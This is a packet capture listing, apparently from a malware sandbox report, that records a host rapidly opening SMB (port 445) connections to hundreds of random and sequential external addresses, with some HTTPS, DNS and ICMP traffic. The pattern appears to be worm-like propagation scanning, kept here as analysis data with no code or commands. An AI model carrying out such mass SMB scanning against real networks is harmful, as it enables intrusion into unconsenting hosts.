Jul 20, 2022 09:11:48.223974943 CEST	64121	445	192.168.2.6	155.101.152.4
Jul 20, 2022 09:11:48.520395994 CEST	64120	445	192.168.2.6	155.101.152.4
Jul 20, 2022 09:11:48.567985058 CEST	64239	445	192.168.2.6	18.119.139.62
Jul 20, 2022 09:11:48.568139076 CEST	64240	445	192.168.2.6	185.147.213.65
Jul 20, 2022 09:11:48.660985947 CEST	64121	445	192.168.2.6	155.101.152.4
Jul 20, 2022 09:11:48.724009037 CEST	445	64239	18.119.139.62	192.168.2.6
Jul 20, 2022 09:11:48.942256927 CEST	64120	445	192.168.2.6	155.101.152.4
Jul 20, 2022 09:11:49.051747084 CEST	63121	445	192.168.2.6	201.187.246.7
Jul 20, 2022 09:11:49.082875967 CEST	64121	445	192.168.2.6	155.101.152.4
Jul 20, 2022 09:11:49.224865913 CEST	64252	445	192.168.2.6	3.237.13.220
Jul 20, 2022 09:11:49.224894047 CEST	64253	445	192.168.2.6	93.252.185.50
Jul 20, 2022 09:11:49.225281000 CEST	64261	445	192.168.2.6	28.5.116.192
Jul 20, 2022 09:11:49.225461006 CEST	64264	445	192.168.2.6	75.195.28.181
Jul 20, 2022 09:11:49.225461006 CEST	64265	445	192.168.2.6	205.46.237.188
Jul 20, 2022 09:11:49.225554943 CEST	64266	445	192.168.2.6	95.105.239.179
Jul 20, 2022 09:11:49.225626945 CEST	64267	445	192.168.2.6	74.25.254.92
Jul 20, 2022 09:11:49.225668907 CEST	64268	445	192.168.2.6	29.52.35.224
Jul 20, 2022 09:11:49.225960016 CEST	64275	445	192.168.2.6	123.226.27.232
Jul 20, 2022 09:11:49.226069927 CEST	64277	445	192.168.2.6	205.167.34.235
Jul 20, 2022 09:11:49.226391077 CEST	64284	445	192.168.2.6	107.36.124.142
Jul 20, 2022 09:11:49.226440907 CEST	64285	445	192.168.2.6	158.140.86.62
Jul 20, 2022 09:11:49.226840019 CEST	64294	445	192.168.2.6	217.69.177.13
Jul 20, 2022 09:11:49.226885080 CEST	64295	445	192.168.2.6	95.247.68.168
Jul 20, 2022 09:11:49.227293015 CEST	64305	445	192.168.2.6	126.169.213.245
Jul 20, 2022 09:11:49.227504015 CEST	64308	445	192.168.2.6	163.155.72.203
Jul 20, 2022 09:11:49.227670908 CEST	64312	445	192.168.2.6	17.79.61.139
Jul 20, 2022 09:11:49.227838039 CEST	64315	445	192.168.2.6	208.44.182.176
Jul 20, 2022 09:11:49.228009939 CEST	64319	445	192.168.2.6	97.11.161.213
Jul 20, 2022 09:11:49.228243113 CEST	64324	445	192.168.2.6	202.92.241.185
Jul 20, 2022 09:11:49.230088949 CEST	64325	445	192.168.2.6	33.112.245.251
Jul 20, 2022 09:11:49.239160061 CEST	64239	445	192.168.2.6	18.119.139.62
Jul 20, 2022 09:11:49.255328894 CEST	64329	445	192.168.2.6	169.79.247.22
Jul 20, 2022 09:11:49.255436897 CEST	64331	445	192.168.2.6	221.251.108.228
Jul 20, 2022 09:11:49.255675077 CEST	64335	445	192.168.2.6	31.162.55.221
Jul 20, 2022 09:11:49.255697966 CEST	64336	445	192.168.2.6	101.49.88.60
Jul 20, 2022 09:11:49.255922079 CEST	64340	445	192.168.2.6	57.128.250.68
Jul 20, 2022 09:11:49.256350040 CEST	64350	445	192.168.2.6	210.87.34.115
Jul 20, 2022 09:11:49.256592989 CEST	64354	445	192.168.2.6	11.128.80.174
Jul 20, 2022 09:11:49.421437025 CEST	445	64239	18.119.139.62	192.168.2.6
Jul 20, 2022 09:11:49.646626949 CEST	64365	445	192.168.2.6	185.147.213.66
Jul 20, 2022 09:11:49.646694899 CEST	64366	445	192.168.2.6	18.119.139.63
Jul 20, 2022 09:11:49.817322016 CEST	64120	445	192.168.2.6	155.101.152.4
Jul 20, 2022 09:11:49.958069086 CEST	64121	445	192.168.2.6	155.101.152.4
Jul 20, 2022 09:11:50.334603071 CEST	64378	445	192.168.2.6	113.187.248.36
Jul 20, 2022 09:11:50.334956884 CEST	64382	445	192.168.2.6	203.55.155.186
Jul 20, 2022 09:11:50.335213900 CEST	64383	445	192.168.2.6	166.224.191.157
Jul 20, 2022 09:11:50.336049080 CEST	64392	445	192.168.2.6	42.204.122.153
Jul 20, 2022 09:11:50.336266041 CEST	64394	445	192.168.2.6	66.93.234.117
Jul 20, 2022 09:11:50.337444067 CEST	64400	445	192.168.2.6	7.119.29.135
Jul 20, 2022 09:11:50.337632895 CEST	64402	445	192.168.2.6	15.234.194.131
Jul 20, 2022 09:11:50.338418007 CEST	64410	445	192.168.2.6	97.136.45.29
Jul 20, 2022 09:11:50.338696003 CEST	64412	445	192.168.2.6	205.117.87.126
Jul 20, 2022 09:11:50.339262009 CEST	64417	445	192.168.2.6	175.197.3.46
Jul 20, 2022 09:11:50.340074062 CEST	64426	445	192.168.2.6	39.50.220.74
Jul 20, 2022 09:11:50.340365887 CEST	64428	445	192.168.2.6	196.146.191.4
Jul 20, 2022 09:11:50.340719938 CEST	64431	445	192.168.2.6	151.67.110.139
Jul 20, 2022 09:11:50.341310978 CEST	64437	445	192.168.2.6	130.116.194.153
Jul 20, 2022 09:11:50.341447115 CEST	64438	445	192.168.2.6	170.205.30.236
Jul 20, 2022 09:11:50.342165947 CEST	64445	445	192.168.2.6	204.0.133.93
Jul 20, 2022 09:11:50.342566013 CEST	64449	445	192.168.2.6	161.37.78.30
Jul 20, 2022 09:11:50.342647076 CEST	64450	445	192.168.2.6	180.113.223.85
Jul 20, 2022 09:11:50.342835903 CEST	64451	445	192.168.2.6	89.72.155.239
Jul 20, 2022 09:11:50.342952967 CEST	64452	445	192.168.2.6	89.229.197.219
Jul 20, 2022 09:11:50.343055964 CEST	64453	445	192.168.2.6	130.37.229.154
Jul 20, 2022 09:11:50.365672112 CEST	64455	445	192.168.2.6	29.183.46.216
Jul 20, 2022 09:11:50.366512060 CEST	64463	445	192.168.2.6	215.32.193.201
Jul 20, 2022 09:11:50.366520882 CEST	64458	445	192.168.2.6	30.71.71.196
Jul 20, 2022 09:11:50.367080927 CEST	64467	445	192.168.2.6	97.200.61.69
Jul 20, 2022 09:11:50.367335081 CEST	64469	445	192.168.2.6	41.214.102.57
Jul 20, 2022 09:11:50.367939949 CEST	64474	445	192.168.2.6	145.239.129.11
Jul 20, 2022 09:11:50.368776083 CEST	64481	445	192.168.2.6	213.216.238.159
Jul 20, 2022 09:11:50.395520926 CEST	445	64474	145.239.129.11	192.168.2.6
Jul 20, 2022 09:11:50.395711899 CEST	64474	445	192.168.2.6	145.239.129.11
Jul 20, 2022 09:11:50.396274090 CEST	64474	445	192.168.2.6	145.239.129.11
Jul 20, 2022 09:11:50.396595955 CEST	64487	445	192.168.2.6	145.239.129.1
Jul 20, 2022 09:11:50.423521042 CEST	445	64474	145.239.129.11	192.168.2.6
Jul 20, 2022 09:11:50.423547029 CEST	445	64474	145.239.129.11	192.168.2.6
Jul 20, 2022 09:11:50.708542109 CEST	64492	445	192.168.2.6	185.147.213.67
Jul 20, 2022 09:11:50.708636999 CEST	64493	445	192.168.2.6	18.119.139.64
Jul 20, 2022 09:11:51.459005117 CEST	64507	445	192.168.2.6	26.17.40.16
Jul 20, 2022 09:11:51.459127903 CEST	64508	445	192.168.2.6	166.146.238.197
Jul 20, 2022 09:11:51.459775925 CEST	64515	445	192.168.2.6	114.252.70.175
Jul 20, 2022 09:11:51.460047007 CEST	64518	445	192.168.2.6	97.252.134.43
Jul 20, 2022 09:11:51.460644007 CEST	64525	445	192.168.2.6	129.179.37.101
Jul 20, 2022 09:11:51.461268902 CEST	64533	445	192.168.2.6	38.48.36.138
Jul 20, 2022 09:11:51.461448908 CEST	64535	445	192.168.2.6	13.89.5.94
Jul 20, 2022 09:11:51.461704969 CEST	64538	445	192.168.2.6	28.138.178.114
Jul 20, 2022 09:11:51.462184906 CEST	64544	445	192.168.2.6	74.89.183.4
Jul 20, 2022 09:11:51.462439060 CEST	64546	445	192.168.2.6	30.72.38.64
Jul 20, 2022 09:11:51.462897062 CEST	64553	445	192.168.2.6	122.54.233.221
Jul 20, 2022 09:11:51.463148117 CEST	64556	445	192.168.2.6	146.150.106.128
Jul 20, 2022 09:11:51.463268995 CEST	64557	445	192.168.2.6	220.35.220.193
Jul 20, 2022 09:11:51.463366032 CEST	64558	445	192.168.2.6	148.189.0.39
Jul 20, 2022 09:11:51.463455915 CEST	64559	445	192.168.2.6	1.144.14.33
Jul 20, 2022 09:11:51.463547945 CEST	64560	445	192.168.2.6	84.20.112.216
Jul 20, 2022 09:11:51.463743925 CEST	64562	445	192.168.2.6	187.47.64.26
Jul 20, 2022 09:11:51.464061022 CEST	64566	445	192.168.2.6	179.144.5.204
Jul 20, 2022 09:11:51.464226961 CEST	64568	445	192.168.2.6	41.123.48.6
Jul 20, 2022 09:11:51.464838982 CEST	64576	445	192.168.2.6	28.131.223.217
Jul 20, 2022 09:11:51.465035915 CEST	64578	445	192.168.2.6	162.245.4.129
Jul 20, 2022 09:11:51.474931955 CEST	64581	445	192.168.2.6	145.239.129.2
Jul 20, 2022 09:11:51.489773035 CEST	64583	445	192.168.2.6	178.46.198.97
Jul 20, 2022 09:11:51.490354061 CEST	64586	445	192.168.2.6	73.34.43.60
Jul 20, 2022 09:11:51.490365982 CEST	64590	445	192.168.2.6	166.1.241.32
Jul 20, 2022 09:11:51.490765095 CEST	64595	445	192.168.2.6	155.161.77.177
Jul 20, 2022 09:11:51.490945101 CEST	64597	445	192.168.2.6	38.80.139.75
Jul 20, 2022 09:11:51.491801023 CEST	64608	445	192.168.2.6	33.113.108.189
Jul 20, 2022 09:11:51.567476988 CEST	64120	445	192.168.2.6	155.101.152.4
Jul 20, 2022 09:11:51.573533058 CEST	445	64578	162.245.4.129	192.168.2.6
Jul 20, 2022 09:11:51.692501068 CEST	64121	445	192.168.2.6	155.101.152.4
Jul 20, 2022 09:11:51.786771059 CEST	64618	445	192.168.2.6	185.147.213.68
Jul 20, 2022 09:11:51.786878109 CEST	64619	445	192.168.2.6	18.119.139.65
Jul 20, 2022 09:11:52.083158016 CEST	64578	445	192.168.2.6	162.245.4.129
Jul 20, 2022 09:11:52.186686993 CEST	445	64578	162.245.4.129	192.168.2.6
Jul 20, 2022 09:11:52.556884050 CEST	64627	445	192.168.2.6	145.239.129.3
Jul 20, 2022 09:11:52.568772078 CEST	64633	445	192.168.2.6	215.101.253.7
Jul 20, 2022 09:11:52.569402933 CEST	64641	445	192.168.2.6	192.247.64.109
Jul 20, 2022 09:11:52.569585085 CEST	64643	445	192.168.2.6	177.112.99.124
Jul 20, 2022 09:11:52.569825888 CEST	64646	445	192.168.2.6	136.81.147.53
Jul 20, 2022 09:11:52.570310116 CEST	64652	445	192.168.2.6	49.68.202.234
Jul 20, 2022 09:11:52.570538044 CEST	64654	445	192.168.2.6	6.52.112.162
Jul 20, 2022 09:11:52.571036100 CEST	64661	445	192.168.2.6	137.205.85.165
Jul 20, 2022 09:11:52.571295977 CEST	64664	445	192.168.2.6	19.155.138.122
Jul 20, 2022 09:11:52.571419954 CEST	64665	445	192.168.2.6	182.108.204.97
Jul 20, 2022 09:11:52.571523905 CEST	64666	445	192.168.2.6	54.242.8.212
Jul 20, 2022 09:11:52.571652889 CEST	64667	445	192.168.2.6	147.11.215.112
Jul 20, 2022 09:11:52.571767092 CEST	64668	445	192.168.2.6	103.89.133.210
Jul 20, 2022 09:11:52.571955919 CEST	64670	445	192.168.2.6	115.79.117.91
Jul 20, 2022 09:11:52.572393894 CEST	64674	445	192.168.2.6	82.242.126.82
Jul 20, 2022 09:11:52.572493076 CEST	64676	445	192.168.2.6	198.241.50.0
Jul 20, 2022 09:11:52.573132992 CEST	64684	445	192.168.2.6	2.66.127.226
Jul 20, 2022 09:11:52.573415995 CEST	64686	445	192.168.2.6	162.110.101.59
Jul 20, 2022 09:11:52.574014902 CEST	64692	445	192.168.2.6	135.109.130.19
Jul 20, 2022 09:11:52.574099064 CEST	64693	445	192.168.2.6	164.209.167.78
Jul 20, 2022 09:11:52.574637890 CEST	64700	445	192.168.2.6	97.177.65.225
Jul 20, 2022 09:11:52.574909925 CEST	64703	445	192.168.2.6	34.127.70.116
Jul 20, 2022 09:11:52.600649118 CEST	64714	445	192.168.2.6	109.136.40.114
Jul 20, 2022 09:11:52.601531029 CEST	64725	445	192.168.2.6	51.119.74.64
Jul 20, 2022 09:11:52.601737976 CEST	64727	445	192.168.2.6	199.69.14.138
Jul 20, 2022 09:11:52.602132082 CEST	64732	445	192.168.2.6	146.200.153.1
Jul 20, 2022 09:11:52.602484941 CEST	64736	445	192.168.2.6	20.2.74.133
Jul 20, 2022 09:11:52.602734089 CEST	64739	445	192.168.2.6	20.47.83.123
Jul 20, 2022 09:11:53.286787987 CEST	64744	445	192.168.2.6	185.147.213.69
Jul 20, 2022 09:11:53.286890030 CEST	64745	445	192.168.2.6	18.119.139.66
Jul 20, 2022 09:11:53.631690979 CEST	64753	445	192.168.2.6	145.239.129.4
Jul 20, 2022 09:11:53.677911043 CEST	64758	445	192.168.2.6	23.95.94.209
Jul 20, 2022 09:11:53.677966118 CEST	64759	445	192.168.2.6	187.21.64.64
Jul 20, 2022 09:11:53.678401947 CEST	64767	445	192.168.2.6	119.183.94.42
Jul 20, 2022 09:11:53.678551912 CEST	64770	445	192.168.2.6	93.59.17.66
Jul 20, 2022 09:11:53.678700924 CEST	64773	445	192.168.2.6	47.37.212.65
Jul 20, 2022 09:11:53.678828955 CEST	64775	445	192.168.2.6	106.153.201.17
Jul 20, 2022 09:11:53.678879023 CEST	64776	445	192.168.2.6	211.28.212.215
Jul 20, 2022 09:11:53.678942919 CEST	64777	445	192.168.2.6	96.254.42.152
Jul 20, 2022 09:11:53.679039955 CEST	64779	445	192.168.2.6	170.127.113.82
Jul 20, 2022 09:11:53.679197073 CEST	64782	445	192.168.2.6	117.14.4.170
Jul 20, 2022 09:11:53.679681063 CEST	64789	445	192.168.2.6	130.73.38.117
Jul 20, 2022 09:11:53.679831028 CEST	64791	445	192.168.2.6	186.157.86.9
Jul 20, 2022 09:11:53.680140018 CEST	64797	445	192.168.2.6	159.160.135.200
Jul 20, 2022 09:11:53.680227995 CEST	64799	445	192.168.2.6	85.117.179.49
Jul 20, 2022 09:11:53.680341959 CEST	64801	445	192.168.2.6	120.171.210.47
Jul 20, 2022 09:11:53.680730104 CEST	64810	445	192.168.2.6	69.122.61.245
Jul 20, 2022 09:11:53.681086063 CEST	64817	445	192.168.2.6	85.251.167.97
Jul 20, 2022 09:11:53.681202888 CEST	64819	445	192.168.2.6	43.216.234.90
Jul 20, 2022 09:11:53.681555986 CEST	64827	445	192.168.2.6	165.64.45.241
Jul 20, 2022 09:11:53.681571960 CEST	64828	445	192.168.2.6	36.193.13.119
Jul 20, 2022 09:11:53.725438118 CEST	64839	445	192.168.2.6	150.127.122.90
Jul 20, 2022 09:11:53.726027012 CEST	64852	445	192.168.2.6	55.29.19.228
Jul 20, 2022 09:11:53.726167917 CEST	64855	445	192.168.2.6	77.141.164.145
Jul 20, 2022 09:11:53.726320982 CEST	64858	445	192.168.2.6	156.60.108.164
Jul 20, 2022 09:11:53.726533890 CEST	64862	445	192.168.2.6	172.166.118.27
Jul 20, 2022 09:11:53.726681948 CEST	64865	445	192.168.2.6	85.251.137.85
Jul 20, 2022 09:11:54.365578890 CEST	64870	445	192.168.2.6	185.147.213.70
Jul 20, 2022 09:11:54.365694046 CEST	64871	445	192.168.2.6	18.119.139.67
Jul 20, 2022 09:11:54.415613890 CEST	64872	443	192.168.2.6	40.126.31.71
Jul 20, 2022 09:11:54.415654898 CEST	443	64872	40.126.31.71	192.168.2.6
Jul 20, 2022 09:11:54.415750027 CEST	64872	443	192.168.2.6	40.126.31.71
Jul 20, 2022 09:11:54.416711092 CEST	64872	443	192.168.2.6	40.126.31.71
Jul 20, 2022 09:11:54.416723967 CEST	443	64872	40.126.31.71	192.168.2.6
Jul 20, 2022 09:11:54.437158108 CEST	64873	443	192.168.2.6	40.126.31.71
Jul 20, 2022 09:11:54.437216043 CEST	443	64873	40.126.31.71	192.168.2.6
Jul 20, 2022 09:11:54.437309980 CEST	64873	443	192.168.2.6	40.126.31.71
Jul 20, 2022 09:11:54.437505960 CEST	64873	443	192.168.2.6	40.126.31.71
Jul 20, 2022 09:11:54.437516928 CEST	443	64873	40.126.31.71	192.168.2.6
Jul 20, 2022 09:11:54.560899019 CEST	443	64872	40.126.31.71	192.168.2.6
Jul 20, 2022 09:11:54.561022997 CEST	64872	443	192.168.2.6	40.126.31.71
Jul 20, 2022 09:11:54.562052011 CEST	443	64872	40.126.31.71	192.168.2.6
Jul 20, 2022 09:11:54.562189102 CEST	64872	443	192.168.2.6	40.126.31.71
Jul 20, 2022 09:11:54.572175980 CEST	443	64873	40.126.31.71	192.168.2.6
Jul 20, 2022 09:11:54.572279930 CEST	64873	443	192.168.2.6	40.126.31.71
Jul 20, 2022 09:11:54.574404001 CEST	443	64873	40.126.31.71	192.168.2.6
Jul 20, 2022 09:11:54.574534893 CEST	64873	443	192.168.2.6	40.126.31.71
Jul 20, 2022 09:11:54.600075006 CEST	64872	443	192.168.2.6	40.126.31.71
Jul 20, 2022 09:11:54.600117922 CEST	443	64872	40.126.31.71	192.168.2.6
Jul 20, 2022 09:11:54.600296021 CEST	64873	443	192.168.2.6	40.126.31.71
Jul 20, 2022 09:11:54.600364923 CEST	443	64873	40.126.31.71	192.168.2.6
Jul 20, 2022 09:11:54.600608110 CEST	443	64872	40.126.31.71	192.168.2.6
Jul 20, 2022 09:11:54.600796938 CEST	443	64873	40.126.31.71	192.168.2.6
Jul 20, 2022 09:11:54.602107048 CEST	64872	443	192.168.2.6	40.126.31.71
Jul 20, 2022 09:11:54.602148056 CEST	64872	443	192.168.2.6	40.126.31.71
Jul 20, 2022 09:11:54.602185011 CEST	443	64872	40.126.31.71	192.168.2.6
Jul 20, 2022 09:11:54.602200031 CEST	64873	443	192.168.2.6	40.126.31.71
Jul 20, 2022 09:11:54.602300882 CEST	64873	443	192.168.2.6	40.126.31.71
Jul 20, 2022 09:11:54.602336884 CEST	443	64873	40.126.31.71	192.168.2.6
Jul 20, 2022 09:11:54.712959051 CEST	64875	445	192.168.2.6	145.239.129.5
Jul 20, 2022 09:11:54.773106098 CEST	443	64873	40.126.31.71	192.168.2.6
Jul 20, 2022 09:11:54.773138046 CEST	443	64873	40.126.31.71	192.168.2.6
Jul 20, 2022 09:11:54.773174047 CEST	443	64873	40.126.31.71	192.168.2.6
Jul 20, 2022 09:11:54.773212910 CEST	64873	443	192.168.2.6	40.126.31.71
Jul 20, 2022 09:11:54.773231030 CEST	443	64873	40.126.31.71	192.168.2.6
Jul 20, 2022 09:11:54.773274899 CEST	443	64873	40.126.31.71	192.168.2.6
Jul 20, 2022 09:11:54.773324966 CEST	64873	443	192.168.2.6	40.126.31.71
Jul 20, 2022 09:11:54.773703098 CEST	64873	443	192.168.2.6	40.126.31.71
Jul 20, 2022 09:11:54.773725033 CEST	443	64873	40.126.31.71	192.168.2.6
Jul 20, 2022 09:11:54.773732901 CEST	64873	443	192.168.2.6	40.126.31.71
Jul 20, 2022 09:11:54.773740053 CEST	443	64873	40.126.31.71	192.168.2.6
Jul 20, 2022 09:11:54.774041891 CEST	443	64872	40.126.31.71	192.168.2.6
Jul 20, 2022 09:11:54.774074078 CEST	443	64872	40.126.31.71	192.168.2.6
Jul 20, 2022 09:11:54.774138927 CEST	443	64872	40.126.31.71	192.168.2.6
Jul 20, 2022 09:11:54.774162054 CEST	64872	443	192.168.2.6	40.126.31.71
Jul 20, 2022 09:11:54.774166107 CEST	443	64872	40.126.31.71	192.168.2.6
Jul 20, 2022 09:11:54.774221897 CEST	64872	443	192.168.2.6	40.126.31.71
Jul 20, 2022 09:11:54.778985023 CEST	64872	443	192.168.2.6	40.126.31.71
Jul 20, 2022 09:11:54.779023886 CEST	443	64872	40.126.31.71	192.168.2.6
Jul 20, 2022 09:11:54.779042006 CEST	64872	443	192.168.2.6	40.126.31.71
Jul 20, 2022 09:11:54.779055119 CEST	443	64872	40.126.31.71	192.168.2.6
Jul 20, 2022 09:11:54.802881002 CEST	64885	445	192.168.2.6	75.47.245.84
Jul 20, 2022 09:11:54.802932978 CEST	64886	445	192.168.2.6	119.236.64.44
Jul 20, 2022 09:11:54.803147078 CEST	64887	445	192.168.2.6	133.210.173.158
Jul 20, 2022 09:11:54.803225040 CEST	64888	445	192.168.2.6	103.204.138.169
Jul 20, 2022 09:11:54.803375006 CEST	64889	445	192.168.2.6	5.172.193.25
Jul 20, 2022 09:11:54.804105997 CEST	64899	445	192.168.2.6	80.245.97.210
Jul 20, 2022 09:11:54.804172039 CEST	64891	445	192.168.2.6	32.239.67.178
Jul 20, 2022 09:11:54.804306030 CEST	64900	445	192.168.2.6	183.223.27.241
Jul 20, 2022 09:11:54.804652929 CEST	64907	445	192.168.2.6	201.126.233.161
Jul 20, 2022 09:11:54.804802895 CEST	64909	445	192.168.2.6	100.101.16.196
Jul 20, 2022 09:11:54.805145979 CEST	64914	445	192.168.2.6	4.176.184.153
Jul 20, 2022 09:11:54.805464983 CEST	64919	445	192.168.2.6	153.182.11.243
Jul 20, 2022 09:11:54.805860043 CEST	64927	445	192.168.2.6	125.133.142.172
Jul 20, 2022 09:11:54.806015968 CEST	64928	445	192.168.2.6	220.10.246.236
Jul 20, 2022 09:11:54.806596041 CEST	64937	445	192.168.2.6	123.80.71.243
Jul 20, 2022 09:11:54.806607008 CEST	64938	445	192.168.2.6	203.180.83.3
Jul 20, 2022 09:11:54.807009935 CEST	64946	445	192.168.2.6	63.9.83.217
Jul 20, 2022 09:11:54.807032108 CEST	64945	445	192.168.2.6	125.46.48.199
Jul 20, 2022 09:11:54.807410002 CEST	64953	445	192.168.2.6	71.183.43.156
Jul 20, 2022 09:11:54.807598114 CEST	64956	445	192.168.2.6	60.159.204.110
Jul 20, 2022 09:11:54.807813883 CEST	64960	445	192.168.2.6	74.140.69.240
Jul 20, 2022 09:11:54.849571943 CEST	64969	445	192.168.2.6	86.33.104.122
Jul 20, 2022 09:11:54.850112915 CEST	64983	445	192.168.2.6	209.66.149.100
Jul 20, 2022 09:11:54.850279093 CEST	64985	445	192.168.2.6	208.194.70.214
Jul 20, 2022 09:11:54.850451946 CEST	64988	445	192.168.2.6	185.1.104.165
Jul 20, 2022 09:11:54.850594997 CEST	64990	445	192.168.2.6	7.20.173.38
Jul 20, 2022 09:11:54.851001978 CEST	64995	445	192.168.2.6	152.41.132.205
Jul 20, 2022 09:11:55.067783117 CEST	64120	445	192.168.2.6	155.101.152.4
Jul 20, 2022 09:11:55.145900965 CEST	64121	445	192.168.2.6	155.101.152.4
Jul 20, 2022 09:11:55.443873882 CEST	64999	445	192.168.2.6	185.147.213.71
Jul 20, 2022 09:11:55.443924904 CEST	64998	445	192.168.2.6	18.119.139.68
Jul 20, 2022 09:11:55.771800995 CEST	65003	445	192.168.2.6	145.239.129.6
Jul 20, 2022 09:11:55.808075905 CEST	65004	443	192.168.2.6	40.126.31.71
Jul 20, 2022 09:11:55.808141947 CEST	443	65004	40.126.31.71	192.168.2.6
Jul 20, 2022 09:11:55.808298111 CEST	65004	443	192.168.2.6	40.126.31.71
Jul 20, 2022 09:11:55.810996056 CEST	65004	443	192.168.2.6	40.126.31.71
Jul 20, 2022 09:11:55.811031103 CEST	443	65004	40.126.31.71	192.168.2.6
Jul 20, 2022 09:11:55.913115025 CEST	65015	445	192.168.2.6	90.124.65.215
Jul 20, 2022 09:11:55.913367987 CEST	65017	445	192.168.2.6	176.202.100.50
Jul 20, 2022 09:11:55.913719893 CEST	65022	445	192.168.2.6	108.238.11.69
Jul 20, 2022 09:11:55.913983107 CEST	65026	445	192.168.2.6	215.37.179.122
Jul 20, 2022 09:11:55.914493084 CEST	65035	445	192.168.2.6	157.147.43.215
Jul 20, 2022 09:11:55.914558887 CEST	65036	445	192.168.2.6	84.36.76.56
Jul 20, 2022 09:11:55.915096998 CEST	65045	445	192.168.2.6	214.230.167.58
Jul 20, 2022 09:11:55.915271997 CEST	65047	445	192.168.2.6	10.203.69.142
Jul 20, 2022 09:11:55.915723085 CEST	65053	445	192.168.2.6	132.112.33.91
Jul 20, 2022 09:11:55.915813923 CEST	65054	445	192.168.2.6	140.108.153.94
Jul 20, 2022 09:11:55.916280985 CEST	65061	445	192.168.2.6	109.228.2.122
Jul 20, 2022 09:11:55.916392088 CEST	65064	445	192.168.2.6	48.136.197.100
Jul 20, 2022 09:11:55.916634083 CEST	65070	445	192.168.2.6	23.150.24.125
Jul 20, 2022 09:11:55.916657925 CEST	65069	445	192.168.2.6	170.121.254.54
Jul 20, 2022 09:11:55.916793108 CEST	65071	445	192.168.2.6	138.155.26.252
Jul 20, 2022 09:11:55.916907072 CEST	65072	445	192.168.2.6	223.169.27.67
Jul 20, 2022 09:11:55.916987896 CEST	65073	445	192.168.2.6	32.144.25.194
Jul 20, 2022 09:11:55.917124987 CEST	65075	445	192.168.2.6	56.132.101.128
Jul 20, 2022 09:11:55.917191982 CEST	65076	445	192.168.2.6	154.97.229.143
Jul 20, 2022 09:11:55.917644024 CEST	65085	445	192.168.2.6	219.185.16.175
Jul 20, 2022 09:11:55.917670965 CEST	65084	445	192.168.2.6	172.151.61.154
Jul 20, 2022 09:11:55.960913897 CEST	443	65004	40.126.31.71	192.168.2.6
Jul 20, 2022 09:11:55.961658955 CEST	65004	443	192.168.2.6	40.126.31.71
Jul 20, 2022 09:11:55.961673021 CEST	443	65004	40.126.31.71	192.168.2.6
Jul 20, 2022 09:11:55.962429047 CEST	65004	443	192.168.2.6	40.126.31.71
Jul 20, 2022 09:11:55.962435961 CEST	443	65004	40.126.31.71	192.168.2.6
Jul 20, 2022 09:11:55.962469101 CEST	65004	443	192.168.2.6	40.126.31.71
Jul 20, 2022 09:11:55.962477922 CEST	443	65004	40.126.31.71	192.168.2.6
Jul 20, 2022 09:11:55.974869013 CEST	65096	445	192.168.2.6	107.175.219.1
Jul 20, 2022 09:11:55.976236105 CEST	65109	445	192.168.2.6	113.203.78.135
Jul 20, 2022 09:11:55.976581097 CEST	65112	445	192.168.2.6	28.85.113.44
Jul 20, 2022 09:11:55.976917982 CEST	65116	445	192.168.2.6	78.112.207.218
Jul 20, 2022 09:11:55.976990938 CEST	65114	445	192.168.2.6	108.72.234.200
Jul 20, 2022 09:11:55.977201939 CEST	65120	445	192.168.2.6	29.68.213.7
Jul 20, 2022 09:11:56.136373997 CEST	443	65004	40.126.31.71	192.168.2.6
Jul 20, 2022 09:11:56.136457920 CEST	443	65004	40.126.31.71	192.168.2.6
Jul 20, 2022 09:11:56.136579037 CEST	65004	443	192.168.2.6	40.126.31.71
Jul 20, 2022 09:11:56.136590004 CEST	443	65004	40.126.31.71	192.168.2.6
Jul 20, 2022 09:11:56.136611938 CEST	443	65004	40.126.31.71	192.168.2.6
Jul 20, 2022 09:11:56.136665106 CEST	65004	443	192.168.2.6	40.126.31.71
Jul 20, 2022 09:11:56.136677027 CEST	443	65004	40.126.31.71	192.168.2.6
Jul 20, 2022 09:11:56.136699915 CEST	443	65004	40.126.31.71	192.168.2.6
Jul 20, 2022 09:11:56.136761904 CEST	65004	443	192.168.2.6	40.126.31.71
Jul 20, 2022 09:11:56.137481928 CEST	65004	443	192.168.2.6	40.126.31.71
Jul 20, 2022 09:11:56.137496948 CEST	443	65004	40.126.31.71	192.168.2.6
Jul 20, 2022 09:11:56.137554884 CEST	65004	443	192.168.2.6	40.126.31.71
Jul 20, 2022 09:11:56.137562037 CEST	443	65004	40.126.31.71	192.168.2.6
Jul 20, 2022 09:11:56.524938107 CEST	65127	445	192.168.2.6	185.147.213.72
Jul 20, 2022 09:11:56.524959087 CEST	65126	445	192.168.2.6	18.119.139.69

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 20, 2022 09:07:20.118371010 CEST	56591	53	192.168.2.6	8.8.8.8
Jul 20, 2022 09:07:20.137361050 CEST	53	56591	8.8.8.8	192.168.2.6
Jul 20, 2022 09:07:21.468085051 CEST	60350	53	192.168.2.6	8.8.8.8
Jul 20, 2022 09:07:21.487339973 CEST	53	60350	8.8.8.8	192.168.2.6
Jul 20, 2022 09:07:22.952004910 CEST	51748	53	192.168.2.6	8.8.8.8
Jul 20, 2022 09:07:22.979664087 CEST	53	51748	8.8.8.8	192.168.2.6
Jul 20, 2022 09:07:36.922103882 CEST	138	138	192.168.2.6	192.168.2.255
Jul 20, 2022 09:11:34.625143051 CEST	138	138	192.168.2.6	192.168.2.255

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jul 20, 2022 09:07:37.803180933 CEST	192.168.11.129	192.168.2.6	72ac	(Host unreachable)	Destination Unreachable
Jul 20, 2022 09:07:44.247381926 CEST	154.6.125.18	192.168.2.6	d6e3	(Unknown)	Destination Unreachable
Jul 20, 2022 09:07:49.671602011 CEST	213.179.81.1	192.168.2.6	a739	(Host unreachable)	Destination Unreachable
Jul 20, 2022 09:07:51.589090109 CEST	5.56.18.166	192.168.2.6	3d42	(Unknown)	Destination Unreachable
Jul 20, 2022 09:07:55.561543941 CEST	77.8.25.72	192.168.2.6	e378	(Unknown)	Destination Unreachable
Jul 20, 2022 09:07:57.495874882 CEST	91.39.231.247	192.168.2.6	8766	(Unknown)	Destination Unreachable
Jul 20, 2022 09:08:06.813088894 CEST	10.35.2.2	192.168.2.6	987	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 09:08:06.877429962 CEST	72.15.51.195	192.168.2.6	f8ac	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 09:08:08.956708908 CEST	130.185.155.233	192.168.2.6	ee89	(Host unreachable)	Destination Unreachable
